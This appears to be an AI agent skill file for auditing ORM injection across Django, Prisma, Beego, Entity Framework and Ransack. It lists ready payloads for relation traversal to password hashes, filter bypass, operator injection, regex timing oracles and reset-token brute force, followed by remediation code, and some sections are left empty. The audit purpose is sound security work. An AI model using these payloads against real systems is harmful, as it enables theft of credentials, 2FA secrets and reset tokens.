| name | orm-injection-audit |
| description | Audit applications for ORM injection vulnerabilities across Django, Prisma, Beego, Entity Framework, and Ransack. Use this skill whenever you need to test for database query manipulation, filter bypass, relational traversal attacks, or data exfiltration through ORM layers. Trigger this skill for any security audit involving user-controlled database queries, API endpoints with filtering, or applications using ORM frameworks with dynamic query construction. |
ORM Injection Audit Skill
This skill helps you identify and test for ORM injection vulnerabilities where user input directly influences database query construction, potentially allowing attackers to bypass filters, traverse relationships, and exfiltrate sensitive data.
When to Use This Skill
Use this skill when:
- Auditing APIs that accept filter/search parameters
- Reviewing code that passes user input to ORM query methods
- Testing applications using Django, Prisma, Beego, Entity Framework, or Ransack
- Investigating potential data exfiltration through database queries
- Security testing endpoints with dynamic query construction
Core Attack Patterns
1. Direct Filter Control
Django ORM:
Article.objects.filter(**request.data)
Prisma:
const posts = await prisma.article.findMany(req.body.filter)
Beego:
qs = qs.Filter(filterExpression, filterValue)
2. Relational Traversal
ORMs allow traversing relationships using __ (Django/Beego) or nested objects (Prisma):
Django/Beego:
{"created_by__user__password__contains": "pass"}
Prisma:
{
"where": {
"createdBy": {
"password": {"startsWith": "pas"}
}
}
}
3. Many-to-Many Bypass
Loop back through relationships to bypass filters:
Django:
Article.objects.filter(is_secret=False, categories__articles__id=2)
Prisma:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false
}
}
}
}
}
}
4. Type Confusion (Operator Injection)
Prisma accepts operator objects where primitives expected:
5. Error/Time-Based Oracles
Use regex or complex queries to create timing differences:
{"password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Testing Methodology
Step 1: Identify Vulnerable Endpoints
Look for:
- API endpoints accepting
filter, q, query, search parameters
- Code passing
request.data, req.body, or params directly to ORM methods
- Dynamic query construction with user-controlled field names
- Missing input validation on filter parameters
Step 2: Map the Schema
- Send basic queries to discover available fields
- Test relationship traversal with
__ operators (Django/Beego) or nested objects (Prisma)
- Identify sensitive fields:
password, token, secret, api_key, tfa_secret
Step 3: Test Filter Bypass
Basic bypass:
{"field__startswith": "test"}
Relationship bypass:
{"related_field__sensitive_field__contains": "value"}
Many-to-many bypass:
{"relation1__relation2__sensitive_field__startswith": "test"}
Step 4: Test Operator Injection
Prisma type confusion:
{"field": {"not": "value"}}
{"field": {"contains": "value"}}
{"field": {"startsWith": "value"}}
URL-encoded (Express extended):
field[not]=value
field[contains]=value
Step 5: Test Time-Based Attacks
Django/Beego regex:
{"field__regex": "^(?=^pattern).*.*.*.*.*.*.*.*!!!!$"}
Prisma OR with large list:
{
"OR": [
{"NOT": {"field": "value"}},
{"field": {"in": ["a", "b", "c", ...1000 items]}}
]
}
Step 6: Collation-Aware Testing
Database collations affect string comparison:
- Case-insensitive (MySQL/MariaDB default): Use
__regex or BINARY
- Case-sensitive (PostgreSQL): Standard operators work
- Custom collations: Test ordering with
ge/lt comparisons
Framework-Specific Payloads
Django ORM
{"username": "admin", "password_startswith": "a"}
{"created_by__user__password__contains": "pass"}
{"created_by__user__groups__user__password__startswith": "admi"}
{"created_by__user__user_permissions__user__password__startswith": "admi"}
{"is_secret": false, "categories__articles__id": 2}
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Prisma ORM
{
"filter": {
"include": {"createdBy": true}
}
}
{
"filter": {
"select": {
"createdBy": {"select": {"password": true}}
}
}
}
{
"where": {
"createdBy": {
"password": {"startsWith": "pas"}
}
}
}
{
Beego ORM
{"filter": "created_by__user__password__icontains=pbkdf"}
{"email__password__startswith": "foo"}
{"q": "email__password=~abc"}
Entity Framework / OData
// Comparison oracle
$filter=CreatedBy/TfaSecret ge 'M'
$filter=CreatedBy/TfaSecret lt 'M'
// Navigation property traversal
$filter=CreatedBy/User/Password contains 'pass'
Ransack (Ruby)
// Brute-force reset token
q[user_reset_password_token_start]=0
q[user_reset_password_token_start]=1
// Relationship traversal
q[user_id_eq]=1&user[password_start]=pass
Detection Checklist
Remediation Guidance
Input Validation
ALLOWED_FIELDS = ['title', 'author', 'category']
ALLOWED_OPERATORS = ['icontains', 'startswith']
def safe_filter(request):
filters = {}
for key, value in request.data.items():
field, op = key.rsplit('__', 1) if '__' in key else (key, 'exact')
if field in ALLOWED_FIELDS and op in ALLOWED_OPERATORS:
filters[key] = value
return Article.objects.filter(**filters)
const ALLOWED_FIELDS = ['title', 'author', 'category'];
const ALLOWED_OPERATORS = ['contains', 'startsWith'];
async function safeQuery(req) {
const { filter } = req.body;
const safeFilter = {};
for (const [field, value] of Object.entries(filter)) {
if (ALLOWED_FIELDS.includes(field)) {
if (typeof value === 'object') {
const [op, val] = Object.entries(value)[0];
if (ALLOWED_OPERATORS.includes(op)) {
safeFilter[field] = { [op]: val };
}
} else {
safeFilter[field] = { equals: value };
}
}
}
return await prisma.article.findMany({ where: safeFilter });
}
Response Sanitization
- Remove sensitive fields from query results
- Use explicit field selection (SELECT only needed columns)
- Never return passwords, tokens, or secrets in API responses
Schema Hardening
- Mark sensitive fields as non-queryable
- Use ORM-specific annotations (
filter:"false" in Beego)
- Implement per-field access controls
References